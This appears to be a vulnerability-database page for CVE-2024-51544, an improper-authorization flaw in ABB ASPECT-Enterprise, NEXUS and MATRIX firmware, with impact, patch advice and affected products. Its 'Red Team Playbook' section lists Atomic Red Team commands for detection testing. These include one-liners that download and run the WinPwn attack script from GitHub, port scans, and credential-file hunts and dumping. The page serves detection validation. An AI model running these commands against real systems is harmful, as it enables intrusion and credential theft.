CVE-2024-51544
Overview
This vulnerability is a service control access flaw rooted in improper authorization controls within ABB ASPECT-Enterprise and related firmware versions. The issue arises from inadequate protection of service restart requests and virtual machine configuration settings, allowing unauthorized access to sensitive management functions. The affected components include service control interfaces responsible for managing operational parameters and VM configurations in ABB ASPECT-Enterprise v3.08.02 and associated series firmware.
Vulnerability Description
Service Control vulnerabilities allow access to service restart requests and vm configuration settings. Affected products: ABB ASPECT - Enterprise v3.08.02; NEXUS Series v3.08.02; MATRIX Series v3.08.02
Impact
An unauthenticated remote attacker can exploit this vulnerability to restart critical services and alter virtual machine configurations, potentially disrupting industrial control processes. Since no privileges or user interaction are required (CVSS AV:N/AC:L/PR:N/UI:N), the flaw enables immediate unauthorized control over system management functions. This can lead to operational downtime, reduced system availability, and potential lateral movement within the affected network environment, impacting business continuity and safety-critical operations.
Solution
ABB has released firmware updates addressing this vulnerability in ASPECT-Enterprise and related series, specifically version 3.08.02 and later. Users should apply the patches as documented in the ABB advisory (Document ID 9AKK108469A7497) available on ABB's official support portal. The advisory provides detailed instructions for upgrading affected firmware and recommends disabling or restricting network access to service control interfaces until updates are applied.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (19)
| Vendor | Product | Version | CPE | |
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Abb | Aspect-Ent-12 Firmware | All |
cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-2 Firmware | All |
cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-256 Firmware | All |
cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
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Abb | Aspect-Ent-96 Firmware | All |
cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128 Firmware | All |
cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-A Firmware | All |
cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-F Firmware | All |
cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-2128-G Firmware | All |
cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264 Firmware | All |
cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-A Firmware | All |
cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-F Firmware | All |
cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-264-G Firmware | All |
cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-3-2128 Firmware | All |
cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
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Abb | Nexus-3-264 Firmware | All |
cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-11 Firmware | All |
cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-216 Firmware | All |
cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-232 Firmware | All |
cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-264 Firmware | All |
cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
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Abb | Matrix-296 Firmware | All |
cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
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Exploits
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Threat Feed
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
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CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-51544 |
| search.abb.com |
GitHub CVE
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https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch |